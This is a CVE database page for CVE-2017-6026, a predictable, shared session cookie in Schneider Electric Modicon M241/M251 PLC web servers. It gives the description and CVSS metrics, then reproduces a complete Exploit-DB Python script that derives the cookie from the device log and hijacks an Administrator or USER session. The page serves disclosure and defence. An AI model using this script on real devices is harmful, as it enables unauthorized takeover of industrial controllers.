CVE-2017-6026 : Detail

CVE-2017-6026

9.1
/
Critical
A02-Cryptographic Failures
1.65%V3
Network
2017-06-30
00h35 +00:00
2018-12-01
09h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

A Use of Insufficiently Random Values issue was discovered in Schneider Electric Modicon PLCs Modicon M241, firmware versions prior to Version 4.0.5.11, and Modicon M251, firmware versions prior to Version 4.0.5.11. The session numbers generated by the web application are lacking randomization and are shared between several users. This may allow a current session to be compromised.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-330 Use of Insufficiently Random Values
The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 9.1 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 6.4 AV:N/AC:L/Au:N/C:P/I:P/A:N [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 45918

Publication date : 2018-11-29 23h00 +00:00
Author : Photubias
EDB Verified : No

#!/usr/bin/env python ''' Copyright 2018 Photubias(c) # Exploit Title: Schneider Session Calculation - CVE-2017-6026 # Date: 2018-09-30 # Exploit Author: Deneut Tijl # Vendor Homepage: www.schneider-electric.com # Software Link: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/ # Version: Schneider Electric PLC 4.0.2.11 & Boot v0.0.2.11 # CVE : CVE-2017-6026 This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2017-6026-SchneiderSessionCalculation.py written by tijl[dot]deneut[at]howest[dot]be Tested on the Schneider TM241 PLC with Firmware 4.0.2.11 & Boot 0.0.2.11. Firmware: https://www.schneider-electric.com/en/download/document/M241-M251+Firmware+v4.0.3.20/ Security Note: https://www.schneider-electric.com/en/download/document/SEVD-2017-075-02/ This script will calculate the website session cookie, which is static after every reboot. (This cookie is actually the Epoch time at PLC startup) The only prerequisite is that, since the reboot, a user must have been logged in. E.g. Administrator (with default password 'admin') or USER (with default password 'USER') After retrieving the cookie, various website actions are possible (including a DoS). Sample output: C:\Users\admin\Desktop>SchneiderGetSession.py Please enter an IP [10.10.36.224]: This device has booted 33 times Cookie: 1521612584 (22/03/2018 06:09:44.014) ---------------- --- Device: TM241CE40R --- MAC Address: 0080F40B24E0 --- Firmware: 4.0.2.11 --- Controller: Running ---------------- Press Enter to close ''' import urllib2 strIP = raw_input('Please enter an IP [10.10.36.224]: ') if strIP == '': strIP = '10.10.36.224' FwLogURL = 'http://' + strIP + '/usr/Syslog/FwLog.txt' try: FwLogResp = urllib2.urlopen(urllib2.Request(FwLogURL)).readlines() NumberOfPowerOns = 0 for line in FwLogResp: if 'Firmware core2' in line: NumberOfPowerOns += 1 CookieVal = line.split(' ')[1] BootupTime = line.split('(')[1].split(')')[0] NumberOfPowerOns /= 2 except: print('Error: URL not found.') raw_input('Press enter to exit') exit() try: CookieVal except: print('Error: ' + FwLogURL + ' does not contain the necessary data.') raw_input('Press Enter to Exit') exit() print('This device has booted ' + str(NumberOfPowerOns) + ' times') print('Cookie: ' + CookieVal + ' (' + BootupTime + ')') print('----------------') raw_input('Press enter to see if the cookie is set on the webserver.'+"\n") CtrlURL = 'http://' + strIP + '/plcExchange/getValues/' CtrlPost = 'S;100;0;136;s;s;S;2;0;24;w;d;S;1;0;8;B;d;S;1;0;9;B;d;S;1;0;10;B;d;S;1;0;11;B;d;' try: CtrlUser = 'Administrator' DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal}) DataResp = urllib2.urlopen(DataReq).read() except: print('Failure for user \'Administrator\'') try: CtrlUser = 'USER' DataReq = urllib2.Request(CtrlURL, CtrlPost, headers={'Cookie':'M258_LOG=' + CtrlUser + ':' + CookieVal}) DataResp = urllib2.urlopen(DataReq).read() except: print('Failure for user \'USER\'') raw_input('Press enter to exit') print('### SUCCESS (' + CtrlUser + ') ###') print('--- Device: ' + DataResp.split(' ')[0]) print('--- MAC Address: ' + DataResp.split(';')[0].split(' ')[1][1:]) print('--- Firmware: ' + DataResp.split(';')[2] + '.' + DataResp.split(';')[3] + '.' +DataResp.split(';')[4] + '.' +DataResp.split(';')[5]) state = DataResp.split(';')[1] if state == '2': print('--- Controller: Running') elif state == '1': print('--- Controller: Stopped') elif state == '0': print('--- Controller: ERROR mode') print('') print('--- To exploit: Create cookie for domain "'+strIP+'"') print(' with name "M258_LOG" and value "'+CtrlUser+':'+CookieVal+'"') print(' and open "http://'+strIP+'/index2.htm"') print('') print('----------------') raw_input('Press enter to close') exit()

Products Mentioned

Configuraton 0

Schneider-electric>>Modicon_m251_firmware >> Version To (including) 4.0.3.20

Schneider-electric>>Modicon_m251 >> Version -

Configuraton 0

Schneider-electric>>Modicon_m241_firmware >> Version To (including) 4.0.3.20

Schneider-electric>>Modicon_m241 >> Version -

References

http://www.securityfocus.com/bid/97254
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/45918/
Tags : exploit, x_refsource_EXPLOIT-DB